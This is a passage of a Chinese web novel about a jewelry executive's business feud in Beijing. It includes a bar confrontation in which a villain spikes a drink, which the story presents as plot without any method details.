刚才沈知言说话的时候,顾铎闻到了一股蓝莓的甜味,又想到他刚才的表现,疑惑地问道。 “嗯。”沈知言闷闷地答道。 顾铎没见过情绪这么低落的沈知言,心里堵得慌。有心想说点什么,却听远处有人喊沈知言的名字。 秦昭来了。 当秦昭看到蹲在沈知言面前的人是顾铎时,脚下不由加快了速度,等他看到顾铎正握着沈知言小腿的时候,恨不得蹬个风火轮。 秦昭快步走到顾铎身前,一副公事公办的架势,“辛苦顾总了,把沈总交给我吧。” 见到秦昭来,顾铎这才松开了沈知言的小腿,站起了身。他斜睨了一眼秦昭,没有理对方。 秦昭蹲下身查看了一下沈知言的伤势,询问了一下他现在的状态,把他的裤腿轻轻放下后,就将人搀了起来。 沈知言被秦昭扶着正要离开,却忽然停了下来。他看向顾铎,认真道:“谢谢顾总的药。还有,我自始至终都没想过要靠顾总你让鸢尾月登上封页。” 说完,沈知言指了指地上的那些袋子,“我师父给的,阿昭,你帮我拿一下。” 顾铎一言不发地看着秦昭一手拎着大包小包的东西,一手搀扶着沈知言离开,时不时还传来一些对话的声音。 “真不用我背?” “不用,要脸。” 他面无表情地将气雾剂丢进了垃圾桶,没有理会逐渐走远的那两个人,只是兀自站了一会儿,看不出在想什么。 忽然,顾铎一脚踹在了垃圾桶上,金属碰撞声骤然响起,十分刺耳。 …… 在回家的路上,沈知言面色苍白地斜靠着车窗,闭目养神。 忽然,他像是想起了什么一样,问向开车的秦昭:“阿昭,你看到我的护身符了吗?” 秦昭目不斜视地看着路,随口问道:“哪个?” “小橙花,不见好几天了。” 秦昭摇了摇头,“小红花在车里,小蓝花在你办公室的抽屉里,小黄花在你家,小紫花在你的画室,小橙花你一直到带在身上,如果没有那就是丢了。” 沈知言叹了口气,“难怪最近这么倒霉。” 秦昭失笑,“那你先忍忍,我明天让他们再给你补做一个,争取早日让你转运。” 沈知言沉默了一会儿,道:“不了,丢了就丢了吧,金盏菊什么的挺讨厌的。” “嗯。”秦昭通过后视镜看了看闭着眼睛的沈知言,勾了勾唇角。 17. 讨厌丑东西 在得知沈知言因为顾铎而受伤后,AG内部的反顾情绪达到了顶峰。 以梁凝为首的“Leo毒唯”团和由设计一组组成的“合作意向书受害者”联盟,每人手持几十个账号自发在网上打响了反顾之战第一枪,可惜连个水花都没有。 在众人紧锣密鼓地在网络上寻衅滋事时,秦昭也在沈知言的吩咐下在线下摇着人。 “徐胜宇就是个烂泥扶不上墙的废物,有顾铎帮衬着也斗不过他的堂弟,徐家近期是想把继承人的事敲定下来,徐胜宇和宝丰阁合作应该是为了获得它背后陆家的支持。” 沈知言一边听着秦昭汇报,一边一目十行地看着徐胜宇这几年的投资和鼎晟的几次转型,乱七八糟,东一榔头,西一棒子。相较而言,陈玉成倒还行,在宝丰阁干了十年,是宝丰阁东家陆行驰的亲信,能力是有的,就是手段很脏。 “那个陈玉成的家族不大,基本上就是陆家的附庸。他背靠陆家,所以觉得就算出头帮宝丰阁顶锅,别人也会看在陆家的面子上不敢真拿他怎么样。” 沈知言听完嗤笑一声,想到之前看的这帮人的资料,他好奇地问道:“那帮人还真的天天泡吧鬼混啊?他们这么闲吗?” “就是一群二世祖,大多都是徐胜宇的人脉圈子。”想了想,秦昭有些犹豫,但还是忍不住想上个眼药,“顾铎也偶尔会去。” 沈知言翻资料的手顿了顿,之后若无其事地将资料合好后放到了一边,没有接秦昭的话,“拿陈玉成开刀吧,不然宝丰阁快把我当泥人了。” AG自进军国内市场以来,小麻烦就没断过。 沈知言是有自己的珠宝鉴定团队的,可他们的在华业务资质证书却一直被拖延下发。在“织梦录”发布会时间提前、集体赶工的关键时期,三天两头来人检查,还有合作伙伴被打压、大型展会批不下来等状况,背后都有宝丰阁以及陆家的影子。 不管是为了找回璀璨之夜被算计的场子,还是杀鸡儆猴,这个陈玉成沈知言都不能放过。 秦昭试探地问道:“那徐胜宇呢?” 沈知言微微敛眸,淡淡道:“先不动徐胜宇。” 沈知言拿陈玉成开刀,已经是在挑衅宝丰阁背后的陆家了,当下AG在中国区的业务才刚起步,根基尚未稳固,他自然不会为了一时意气再去动顾铎的人。 那天他一时冲动和顾铎起了争执,现在还没有想好该如何补救。 作为“沈知言”,他自然很恼恨顾铎的轻视和双标,但是作为AG的中国区总裁,他却要避免和顾铎交恶。 …… 夜色酒吧里光线迷离,沈知言约了齐卓轩聊年底几个奖项的事情。 工作上的事情聊完后,齐卓轩就说起了京市世家的过往轶事,像什么顾家的豪门内斗、陆家的爱恨情仇、华家的封道劫人等等。 后来说嗨了,齐卓轩甚至还丧心病狂地想帮沈知言梳理一下京市各个世家的姻亲关系,吓得沈知言忙喊打住,他自小没有家人,长大后又在国外,对一些七拐八拐的关系以及称谓实在很难理解。 “沈总!齐总?这么巧啊?” 二人正聊着,就听到一道熟悉的声音从身后传来。 徐胜宇刚从洗手间出来,想来舞池这边逛一圈,一眼就看到了靠在沙发上的沈知言,以及坐在沈知言对面侃侃而谈的齐卓轩,想也没想就过来打招呼。 “呵呵,来夜色如果碰不到徐少的话,才能算巧。”齐卓轩乐呵呵地举着酒杯向徐胜宇示意了一下。 徐胜宇皮笑肉不笑地和齐卓轩互怼了几句。 沈知言对他们二人之间的机锋没兴趣,只是对徐胜宇点点头,在他坐过来时稍稍挪动了一下位置。 对于徐胜宇这个人,沈知言挺无奈的。 那天在夜色酒吧里,他和顾楠那帮人来硬的,虽说徐胜宇帮了他,但对方毕竟也曾设局算计过他,就算两两相抵。 而沈知言最烦的,是这个人把对他的心思都写在了脸上。 大家在生意场上抬头不见低头见,徐胜宇敢这么明目张胆地把主意往他床上打,无非是欺负他初来乍到,在京市背后无人罢了。 无脑、好色、仗势欺人,每一条都是沈知言的雷区。 只是沈知言没有想到,徐胜宇一来就摆出了一副舍生取义的架势。 他刚坐下就抬手示意服务生端来了一瓶格兰菲迪,倒了两杯,将其中一杯递给了沈知言,清了清嗓子,“咳……那个……沈总,我吧……在璀璨之夜那天做了点混账事儿,但那时咱俩还不认识不是?您大人不记小人过,好歹在上周四咱俩也统一过战线,你看,咱们的过往恩怨,能不能都在酒里,一笔勾销?” 沈知言有些意外地挑了挑眉,不知道徐胜宇为什么忽然来这么一出。因此他并没有接酒,只是抱着胳膊靠在了沙发背上,不解地看向徐胜宇。 “徐少今天这道歉来得太突然,我不是很明白。” 徐胜宇叹了口气,苦笑一声,“沈总您就大人有大量,原谅我吧,阿铎已经教育过我了,周六那天,他大半夜的骂了我足足两个点儿,真的,我现在已经大彻大悟,痛改前非了。” 竟然是顾铎让徐胜宇来给他道歉的? 对于徐胜宇的话,沈知言确实感到十分意外,他本来还在为怎么修复和顾铎的关系而头疼,没想到正瞌睡呢,徐胜宇送来了枕头。 思及此,沈知言眉眼弯弯地笑了笑。 他今天穿的是银灰色的意式戗驳领西装,领口处的衬里是酒红色的丝绸,在酒吧暧昧的灯光下,给他清冷的面色凭添了一抹魅惑。 徐胜宇看到沈知言冲自己笑,晃了一下神。 他一咬牙,仰头将自己的那杯酒一饮而尽,随后利落地拿起旁边的酒瓶,再次将杯子斟满。 自始至终,他的另一只手一直稳稳地举着一杯酒,递到沈知言面前。 想了想,徐胜宇试探着问道:“要不,下周的拍卖会上,我把沈总的珠宝买下来?” 沈知言笑容不变,并不接话。 徐胜宇又干了一杯,满上之后,他犹犹豫豫道:“那……沈总在京市的大型展会是不是不好批?这个我可以帮你!” 听到这儿,沈知言的笑容变淡了。 见状,徐胜宇心里有点发慌,这个沈知言看着温温柔柔的,可是却压迫感很强,他也不知哪句话没说对,于是干脆豁出去了:“我的艺人也可以帮沈总,你看上哪个了?随便点,那天那个冯缦,沈总是不是相中来着?” 沈知言淡淡地看了一眼徐胜宇,觉得自己实在不该多事。然而,他忍了又忍,终究还是没能忍住,问道:“徐少,你和宝丰阁的合作,没有签关于竞品的协议吗?” “啊?”徐胜宇愣了一下,随即便反应了过来,笑道:“嗐!这有什么?赔钱嘛,我又不是赔不起!” 沈知言面色逐渐发冷,但是声音却是一如既往的温和,“徐少财大气粗,开公司可能只是为了玩,可是你公司底下的人,却都是实打实的靠着徐少你吃饭的。你的一个决策可能就关系到他们年终奖的数额,或者明年用不用重新写简历找工作。至于跟人谈合作,我相信大家都是为了互利去的,而不是为了区区赔偿金。” “呃……”徐胜宇张了张嘴,一时没反应过来。 沈知言看了看徐胜宇那双眼睛中弥漫的清澈的愚蠢,有些语塞。他觉得自己也是有病,莫名其妙地说这些,于是干脆接过了徐胜宇手中的酒杯,一饮而尽。 “行了,徐少的酒我喝了,你走吧。” “啊……?不是,你别生气啊……我知道你的意思,我改还不成吗?” 沈知言的话,徐胜宇听懂了。只是他向来是个京市小纨绔,如果肯听劝,也不至于蹉跎到现在,跟个堂弟打得只有来没有回的。 他刚才没反应,是因为实在觉得诧异—— 他一向讨厌别人跟他讲大道理,但这个沈知言说话的声音太好听了,人也长得好看。对方冷着一张脸训人时,听得他一愣一愣的,说什么他都爱听,竟然没有丝毫反感。 齐卓轩噙着笑,坐在对面听着这出“劝学”,他看到徐胜宇对沈知言的这股黏糊劲,就想,要是自己是徐家长辈的话,指定要花大价钱请沈知言来家里吃饭,每天骂上徐胜宇一顿,没准真能把人给骂醒,也省得家财都归了旁系。 …… “阿宇,我说你怎么去了半天也没回来,原来是被美人绊住了脚啊?” 这时一个中等身材、皮肤有些发黑的中年男人走了过来,他戴了副金丝眼镜,人模狗样的,正是宝丰阁的陈玉成。 听到这人的声音,沈知言瞬间收敛了神色,挂起了社交用的招牌表情。但他根本不看来人,只是自顾自地喝酒。 “成哥你瞎说什么呢?”徐胜宇笑骂道:“我这是在给沈总赔不是,让沈总原谅我之前有眼不识泰山!” 既然答应了顾铎要来给沈知言赔礼,那今天的面子肯定是要给足的,所以徐胜宇自然也要抬着沈知言说话。 陈玉成打老远就看到了徐胜宇对面的沈知言,他此时嘴角撇出了一道轻蔑的弧线,正在肆意打量着对方。 因为璀璨之夜的事,他和沈知言结下了梁子。但同行是冤家,他也没打算修复这段关系。更何况,前段时间他还在沈知言手底下吃了个闷亏,让他很不是滋味。 陈玉成皮笑肉不笑地看向沈知言,“沈总好雅兴,有时间在这儿和齐总喝酒。怎么?不用和缅商谈收购了?”言语之间,尽是阴阳怪气的酸意。 沈知言对陈玉成的话仿若未闻,继续与齐卓轩喝着酒。 陈玉成自讨没趣,却是赖着不肯走。 徐胜宇不想让朋友这么难堪,于是就出声应和了一句,“怎么?成哥,你这是没争过沈总?” 他本来是想缓和一下气氛,没想到陈玉成闻言,却嗤笑了一声,也不管沈知言是否乐意,直接大剌剌地坐到了他的边上,就像是要故意恶心对方一样。 “这事儿说起来还挺有意思。”陈玉成的眼神中闪烁着一丝不易察觉的阴鸷,“沈总高风亮节,把料子让给了我。只是没成想,质检报告居然出了问题,导致切割方案给弄错了,好好的一块水头十足的料子,最后被折腾得裂得他妈都不认识了,本儿都没收回来。沈总,这事儿你知道吗?” 沈知言听到这里,实在没忍住笑出了声,他侧过头,向齐卓轩打听道:“齐总,冒昧问一下,像那种自个儿出了问题赖别人的,你们京市多吗?我这人不爱跟玩不起的人打交道,您给我说说,我避避雷。” “你!” 陈玉成一拍桌子就要站起来,却被徐胜宇眼疾手快地一把拦了下来。 “哎哎!成哥,搁外边儿喝酒呢,别把你那臭脾气放出来吓唬人!”徐胜宇怕陈玉成跟沈知言动手,用手死死地按着他的肩膀,“我不管啊,你平日里爱怎么闹怎么闹,但今天是我给沈总赔礼的大日子,你不能捣乱!” 陈玉成虽然是个暴脾气,但并不是没脑子的人。他见徐胜宇对沈知言一再维护,心里不由泛起了一阵狐疑。 实际上,他一直不太看得起沈知言。 沈知言一穷二白地在国外打拼,能做到如今这个位置确实厉害,但是京市这个圈子是讲人情的,他沈知言空降过来想分一杯羹,还不够格。 然而,今天看到徐胜宇的态度,他又不确定了…… 京市的人都知道,徐胜宇背后有顾铎撑腰,而从徐胜宇的态度中,多少可以窥见一些顾铎的立场。 这就不得不让陈玉成多想了——难不成最近那些绯闻是真的?璀璨之夜那天,难道还真让这个姓沈的给睡成了? 一时之间,陈玉成陷入了纠结。 为了保险起见,他还是压下了脾气,顺着徐胜宇递过来的台阶下了台。他干脆也给自己倒了一杯酒,阴沉着一张脸,缓缓地往沈知言的方向靠了过去。 “呵,沈总,刚才都是闹着玩的,你是阿宇的朋友,自然也是我陈玉成的朋友,咱们也算不打不相识。明人不说暗话,我坑过你,可你也坑回来了,以前的事儿该过去的,就让它都过去吧。” 陈玉成这番话表面上像是在赔礼,但语气中却满着强势,字里行间都在逼着沈知言一笑泯恩仇,就此把这件事给揭过去。 只是让他没想到的是,沈知言不仅没有接过他递来的酒杯,甚至连一个 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此时陈玉成的面色变化那叫一个精彩纷呈,他直勾勾地看了沈知言一会儿,最后顶了顶腮,“沈总,伸手不打笑脸人,你过了吧?” “是吗?” 沈知言微微一笑。突然,在众人都还没有反应过来的时候,他猝不及防地“啪”的一声,打了陈玉成一巴掌。 巴掌声格外清脆,巴掌印也清晰可见。 “我打了,然后呢?” “我艹!” 陈玉成“倏”地一下站了起来,恶狠狠地盯着沈知言,满眼不可置信。 他自问已经够给面子了,这姓沈的竟然敢打他巴掌! 可是夜色是顾铎的地盘,陈玉成又实在不敢惹事,他紧紧攥着手里的酒杯,忍得浑身都有些颤抖。 徐胜宇这时候也不敢笑了,忙起身跑过来打圆场。 他一边拽着陈玉成怕他动手,一边暗暗打量着沈知言。他知道这时候想这些不太厚道,但还是忍不住地想:我艹,沈知言打人时那股劲儿劲儿的,真他妈的辣! 陈玉成阴恻恻地盯着沈知言看了一会儿。 在顾铎的地盘上,再加上有徐胜宇的阻拦,他一时半会还不能对沈知言做什么,因此只是磨了磨牙,冷哼一声,一把甩开了徐胜宇拉住他的手,转身就走。 …… 夜色酒吧,洗手间。 “成哥,那个Leo怎么说也是AG的总裁,咱们这么做会出事吧?” 卫生间中一个小个子男人将一粒药递给了陈玉成,有些惴惴不安。 “我去他妈的AG总裁!”陈玉成脸上阴云密布,上面的巴掌印十分明显,他此时满眼暴戾,“AG?这里是京市,不是佛罗伦萨,他沈知言就算是龙也得给我盘着!也不看看自己是个什么东西,也敢跟我拿乔?看老子今天他妈的在床上玩不死他!敢打我?我艹!” “可是……上次顾二少他……” “顾楠算个屁!他们顾家三房早就把顾铎得罪死了,留下他也不过是看在顾老爷子的面子上,如今顾铎不过是借个由头收拾顾楠罢了,你真以为是为了给那个姓沈的出气啊?他也配?” 陈玉成骂骂咧咧地和那个小个子男人出去后,不多时,洗手间的一个隔间门被人从里面推开了,秦昭从中走了出来,面无表情地洗了洗手,擦干后拿出手机发了条消息。 …… 等陈玉成再回去时,就见沈知言他们正言笑晏晏地喝酒,夜色酒吧里紫蓝色的光晕暧昧地交织着,打在沈知言清冷白皙的脸上,性感迷离。 陈玉成摩挲了一下手中的药,舔了舔嘴唇,再次走了过去。 “沈总,我反思了一下,我之前做的事确实不地道。我不是个东西,你打我是应该的。沈总打了我一巴掌,解气了吗?如果不解气,再打也行。” 陈玉成一边说着,一边暗暗想道,反正不管在这儿挨了几巴掌,今晚他都要在床上成倍地讨回来,只希望这个姓沈的别自己作死。 沈知言看了陈玉成一眼,似是不解这人怎么忽然转性了,但旋即就移开视线不再理会他。 陈玉成也不恼,他倒了杯酒,同时将叩在无名指根处的药一并丢了进去。他没有将酒杯递给沈知言,而是直接放到了桌子上。 “沈总,这样,我今晚给您伏低做小,任打任骂。如果您消气了,就喝我一杯酒,咱们前尘恩怨一笔勾销,往后您沈总看上的项目,我陈玉成绝不沾染,怎么样?” 这番话的后半句勾起了沈知言的兴趣。他回头看了看陈玉成,又瞥了一眼桌上的酒,弯了弯眼睛,露出一个意味深长的笑容,“好啊。” 徐胜宇见陈玉成这边的梁子终于解了,暗暗松了口气。夹在两人中间实在难受,而他现在也总算能向顾铎有所交代了。 想到这里,徐胜宇便急着想给顾铎回个电话,不然今晚他又得挨骂。 正当他准备起身去打电话的时候,沈知言忽然向他看了过来。 徐胜宇一时不明所以,冲对方笑了笑,但沈知言并没有理他,只是若有所思地喝了口酒。 徐胜宇走到了一边儿拨通了顾铎的电话,对面很快就接通了。 “阿铎,放心吧!沈总那边我已经道好歉了,诚意满满!” “……” “原谅啊,当然原谅了!沈总人多大气啊!” “……” “嗯嗯,好的好的,知道了,挂了啊。” 徐胜宇刚要挂断电话,忽然,从沈知言那边传来了一阵惊呼和玻璃碰撞的响动,紧接着就是沈知言略带愠怒的声音。 “别碰我!” 徐胜宇正要挂断电话过去看看是什么情况,却被通话另一侧的顾铎叫住了。 “啊?哦,刚才是沈总。我就是在夜色酒吧给他道歉的。” “……” “还有?还有齐卓轩和陈玉成。怎么了?你……喂?喂!阿铎?” 徐胜宇看着被猝然掐断的电话,心中泛起了怀疑,但他没有时间多想,赶紧跑过去看看沈知言那边出了什么事。